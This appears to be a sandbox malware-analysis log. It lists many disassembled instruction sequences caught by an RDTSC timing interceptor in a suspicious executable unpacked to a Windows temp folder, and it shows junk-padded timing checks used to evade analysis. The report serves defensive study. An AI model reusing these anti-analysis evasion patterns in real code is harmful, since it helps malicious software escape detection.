Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0464 second address: 52E049B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov edi, eax 0x0000000d movzx eax, dx 0x00000010 popad 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 pushad 0x00000015 mov cx, di 0x00000018 mov di, E1A0h 0x0000001c popad 0x0000001d push esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC110C3B03Bh 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E049B second address: 52E04A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E04A1 second address: 52E04DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FC110C3B046h 0x00000013 push dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FC110C3B03Ah 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E04DC second address: 52E04EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E05D1 second address: 52E0613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC110C3B03Fh 0x00000009 and si, 317Eh 0x0000000e jmp 00007FC110C3B049h 0x00000013 popfd 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e movsx ebx, ax 0x00000021 mov ch, 48h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0613 second address: 52D01CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC110B5E0A8h 0x00000009 sbb ch, FFFFFFD8h 0x0000000c jmp 00007FC110B5E09Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FC110B5E0A8h 0x00000018 add esi, 482D6138h 0x0000001e jmp 00007FC110B5E09Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 leave 0x00000028 pushad 0x00000029 mov edx, eax 0x0000002b call 00007FC110B5E0A0h 0x00000030 mov eax, 0232FFF1h 0x00000035 pop eax 0x00000036 popad 0x00000037 retn 0004h 0x0000003a nop 0x0000003b cmp eax, 00000000h 0x0000003e setne al 0x00000041 xor ebx, ebx 0x00000043 test al, 01h 0x00000045 jne 00007FC110B5E097h 0x00000047 xor eax, eax 0x00000049 sub esp, 08h 0x0000004c mov dword ptr [esp], 00000000h 0x00000053 mov dword ptr [esp+04h], 00000000h 0x0000005b call 00007FC114FE7697h 0x00000060 mov edi, edi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D01CC second address: 52D01D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D01D2 second address: 52D01FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FC110B5E09Dh 0x00000012 mov bx, si 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D01FF second address: 52D0205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0205 second address: 52D0209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0209 second address: 52D0270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007FC110C3B03Fh 0x00000012 pop edi 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FC110C3B03Eh 0x0000001d mov ebp, esp 0x0000001f jmp 00007FC110C3B040h 0x00000024 push FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FC110C3B047h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0270 second address: 52D0276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0276 second address: 52D02C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FC110C3B039h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FC110C3B03Bh 0x00000019 add eax, 579A96DEh 0x0000001f jmp 00007FC110C3B049h 0x00000024 popfd 0x00000025 mov esi, 59B9DDA7h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D03DB second address: 52D0424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FC110B5E0A1h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FC110B5E0A1h 0x0000000f sub cl, 00000016h 0x00000012 jmp 00007FC110B5E0A1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push ecx 0x00000021 pop ebx 0x00000022 mov edi, ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0424 second address: 52D045D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110C3B041h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC110C3B049h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D045D second address: 52D047B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, 34h 0x0000000f mov edi, ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D047B second address: 52D0496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 36205B72h 0x00000008 mov bx, BCBEh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr fs:[00000000h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0496 second address: 52D049A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D049A second address: 52D04A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D04A8 second address: 52D0542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FC110B5E0A6h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FC110B5E0A1h 0x00000017 or cl, 00000056h 0x0000001a jmp 00007FC110B5E0A1h 0x0000001f popfd 0x00000020 mov esi, 5FFC4DC7h 0x00000025 popad 0x00000026 nop 0x00000027 pushad 0x00000028 call 00007FC110B5E0A8h 0x0000002d mov cx, 5CC1h 0x00000031 pop eax 0x00000032 mov dx, F8F2h 0x00000036 popad 0x00000037 sub esp, 18h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d movzx eax, di 0x00000040 jmp 00007FC110B5E0A7h 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0542 second address: 52D055A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC110C3B044h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D055A second address: 52D05A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC110B5E0A4h 0x00000013 sub cl, FFFFFFC8h 0x00000016 jmp 00007FC110B5E09Bh 0x0000001b popfd 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC110B5E0A0h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D05A7 second address: 52D05AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D05AD second address: 52D05B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D05B1 second address: 52D062B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FC110C3B049h 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 push ecx 0x00000011 mov di, AD2Ah 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007FC110C3B041h 0x0000001d xchg eax, esi 0x0000001e jmp 00007FC110C3B03Eh 0x00000023 xchg eax, edi 0x00000024 pushad 0x00000025 pushad 0x00000026 mov dx, ax 0x00000029 popad 0x0000002a jmp 00007FC110C3B044h 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FC110C3B03Bh 0x00000036 xchg eax, edi 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D062B second address: 52D0634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 7B54h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0634 second address: 52D06B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC110C3B048h 0x00000009 and ch, 00000008h 0x0000000c jmp 00007FC110C3B03Bh 0x00000011 popfd 0x00000012 jmp 00007FC110C3B048h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [75AF4538h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FC110C3B03Dh 0x00000028 sbb ax, C8D6h 0x0000002d jmp 00007FC110C3B041h 0x00000032 popfd 0x00000033 call 00007FC110C3B040h 0x00000038 pop esi 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D06B9 second address: 52D06BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D06BF second address: 52D06C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D06C3 second address: 52D06C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D06C7 second address: 52D0706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC110C3B044h 0x00000012 xor si, 6958h 0x00000017 jmp 00007FC110C3B03Bh 0x0000001c popfd 0x0000001d mov si, 7E0Fh 0x00000021 popad 0x00000022 xor eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0706 second address: 52D070A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D070A second address: 52D0726 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B048h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0726 second address: 52D074F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov eax, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FC110B5E0A4h 0x00000011 mov dword ptr [esp], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D074F second address: 52D0755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0755 second address: 52D0791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 movsx edx, si 0x00000013 popad 0x00000014 mov dword ptr fs:[00000000h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC110B5E0A1h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0791 second address: 52D07AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 4Eh 0x00000005 mov dh, cl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [ebp-18h], esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC110C3B03Eh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D07AE second address: 52D07E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop eax 0x00000014 call 00007FC110B5E0A7h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D07E1 second address: 52D07E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D07E7 second address: 52D07EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D07EB second address: 52D07EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D07EF second address: 52D0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e pushad 0x0000000f mov edx, esi 0x00000011 pushad 0x00000012 jmp 00007FC110B5E0A4h 0x00000017 pushfd 0x00000018 jmp 00007FC110B5E0A2h 0x0000001d jmp 00007FC110B5E0A5h 0x00000022 popfd 0x00000023 popad 0x00000024 popad 0x00000025 test ecx, ecx 0x00000027 pushad 0x00000028 call 00007FC110B5E09Ch 0x0000002d mov dx, cx 0x00000030 pop ecx 0x00000031 mov ebx, 2D137B32h 0x00000036 popad 0x00000037 jns 00007FC110B5E0F7h 0x0000003d pushad 0x0000003e mov bl, 3Eh 0x00000040 push eax 0x00000041 push edx 0x00000042 push ecx 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C03B9 second address: 52C0483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC110C3B041h 0x00000009 sbb ecx, 6F2996C6h 0x0000000f jmp 00007FC110C3B041h 0x00000014 popfd 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d jmp 00007FC110C3B048h 0x00000022 pushfd 0x00000023 jmp 00007FC110C3B042h 0x00000028 add cx, 99C8h 0x0000002d jmp 00007FC110C3B03Bh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007FC110C3B046h 0x0000003b sub esp, 2Ch 0x0000003e jmp 00007FC110C3B040h 0x00000043 xchg eax, ebx 0x00000044 jmp 00007FC110C3B040h 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d call 00007FC110C3B047h 0x00000052 pop esi 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0483 second address: 52C04B7 instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushfd 0x0000000a jmp 00007FC110B5E09Bh 0x0000000f and cx, 537Eh 0x00000014 jmp 00007FC110B5E0A9h 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C063C second address: 52C0642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0642 second address: 52C0646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0677 second address: 52C067D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C067D second address: 52C0772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FC18133BE9Dh 0x0000000e jmp 00007FC110B5E0A3h 0x00000013 js 00007FC110B5E0CEh 0x00000019 jmp 00007FC110B5E0A6h 0x0000001e cmp dword ptr [ebp-14h], edi 0x00000021 jmp 00007FC110B5E0A0h 0x00000026 jne 00007FC18133BE64h 0x0000002c pushad 0x0000002d mov al, 95h 0x0000002f mov edi, 313CF0CEh 0x00000034 popad 0x00000035 mov ebx, dword ptr [ebp+08h] 0x00000038 pushad 0x00000039 mov edx, 2F924BA6h 0x0000003e movsx ebx, cx 0x00000041 popad 0x00000042 lea eax, dword ptr [ebp-2Ch] 0x00000045 jmp 00007FC110B5E0A6h 0x0000004a xchg eax, esi 0x0000004b jmp 00007FC110B5E0A0h 0x00000050 push eax 0x00000051 jmp 00007FC110B5E09Bh 0x00000056 xchg eax, esi 0x00000057 pushad 0x00000058 call 00007FC110B5E0A4h 0x0000005d pushad 0x0000005e popad 0x0000005f pop esi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushfd 0x00000063 jmp 00007FC110B5E0A7h 0x00000068 sbb esi, 35CDF99Eh 0x0000006e jmp 00007FC110B5E0A9h 0x00000073 popfd 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0772 second address: 52C07CC instructions: 0x00000000 rdtsc 0x00000002 call 00007FC110C3B040h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC110C3B03Ch 0x00000013 adc esi, 5FFF92C8h 0x00000019 jmp 00007FC110C3B03Bh 0x0000001e popfd 0x0000001f mov ebx, ecx 0x00000021 popad 0x00000022 mov dword ptr [esp], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov edi, 5FA3AAC2h 0x0000002d call 00007FC110C3B043h 0x00000032 pop ecx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C07CC second address: 52C07D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C07D2 second address: 52C07D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C07D6 second address: 52C07DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C082D second address: 52C0831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0831 second address: 52C0837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0837 second address: 52C083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C083D second address: 52C0841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0841 second address: 52C005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007FC110C3B03Ch 0x0000000f test esi, esi 0x00000011 jmp 00007FC110C3B040h 0x00000016 je 00007FC181418E22h 0x0000001c xor eax, eax 0x0000001e jmp 00007FC110C1476Ah 0x00000023 pop esi 0x00000024 pop edi 0x00000025 pop ebx 0x00000026 leave 0x00000027 retn 0004h 0x0000002a nop 0x0000002b cmp eax, 00000000h 0x0000002e setne cl 0x00000031 xor ebx, ebx 0x00000033 test cl, 00000001h 0x00000036 jne 00007FC110C3B037h 0x00000038 jmp 00007FC110C3B1ABh 0x0000003d call 00007FC1150B42D5h 0x00000042 mov edi, edi 0x00000044 jmp 00007FC110C3B041h 0x00000049 xchg eax, ebp 0x0000004a jmp 00007FC110C3B03Eh 0x0000004f push eax 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FC110C3B041h 0x00000057 xor ax, 1B16h 0x0000005c jmp 00007FC110C3B041h 0x00000061 popfd 0x00000062 mov eax, 3BCDA987h 0x00000067 popad 0x00000068 xchg eax, ebp 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c pushad 0x0000006d popad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C005B second address: 52C0060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0060 second address: 52C007B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC110C3B047h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C007B second address: 52C00D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FC110B5E0A5h 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 mov di, cx 0x00000014 pushfd 0x00000015 jmp 00007FC110B5E0A8h 0x0000001a xor ax, 2328h 0x0000001f jmp 00007FC110B5E09Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
